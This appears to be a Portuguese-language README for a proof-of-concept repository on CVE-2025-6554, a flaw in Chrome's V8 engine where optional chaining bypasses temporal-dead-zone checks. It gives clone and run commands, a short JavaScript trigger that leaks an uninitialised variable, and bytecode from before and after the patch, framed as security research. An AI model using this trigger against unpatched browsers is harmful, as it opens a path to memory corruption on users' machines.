
CVE-2025-6554 PoC
⚠️ Projeto de Pesquisa em Segurança - Este projeto destina-se exclusivamente a fins de pesquisa em segurança e educação. Não o utilize em ambientes de produção.
A CVE-2025-6554 é uma vulnerabilidade grave no mecanismo V8 do Chrome, relacionada ao mecanismo de verificação da "Zona Morta Temporal" (TDZ) em JavaScript. Este projeto fornece código completo de prova de conceito da vulnerabilidade e ferramentas de demonstração.
A vulnerabilidade existe no mecanismo V8 ao processar o operador de encadeamento opcional (?.), que não verifica corretamente se a variável foi inicializada, permitindo acesso a variáveis não declaradas e contornando o mecanismo de proteção TDZ.
git clone https://github.com/9Insomnie/CVE-2025-6554.git
cd CVE-2025-6554
CVE-2025-6554/
├── Exploit.js # Código original do exploit
├── Test-Exploit.js # Versão de teste
├── poc.html # Arquivo de detecção
├── README.md # Documentação do projeto
└── 使用说明.md # Guia de uso detalhado
# Executar com o depurador d8 do V8
c:\path\to\v8\out\x64.debug\d8 --allow-natives-syntax --print-bytecode Exploit.js
# Executar a versão de teste
node Test-Exploit.js
# Ou executar o código original do exploit
node Exploit.js
Abra diretamente o arquivo HTML no navegador para testar (requer suporte aos recursos relacionados).
function leak_hole() {
let x;
delete x?.[y]?.a; // Usa a variável não declarada y
return y; // Deveria lançar ReferenceError
let y; // y só é declarado aqui
}
Antes do patch:
0x32600100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0]
Depois do patch:
0x29f00100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0]
0x29f00100144 @ 28 : b6 00 ThrowReferenceErrorIfHole [0] // Novas verificações adicionadas
delete x?.[y]?.a# Verificar se a vulnerabilidade existe
node Test-Exploit.js
# Visualizar o bytecode detalhado
d8 --allow-natives-syntax --print-bytecode Exploit.js
Esta vulnerabilidade foi descoberta por pesquisadores de segurança e envolve o mecanismo de verificação TDZ no mecanismo V8. Através do operador de encadeamento opcional, um atacante pode contornar a verificação de inicialização de variáveis e obter controle sobre a memória.
Este projeto é licenciado sob a licença MIT - consulte o arquivo LICENSE para obter mais detalhes.
⚠️ Aviso Legal: Este projeto destina-se exclusivamente a fins de pesquisa em segurança e educação. O usuário é responsável por qualquer risco assumido ao utilizá-lo; o autor não se responsabiliza por quaisquer consequências legais.
🔒 Relatório de Segurança: Se você encontrar novos problemas de segurança, entre em contato através das GitHub Issues.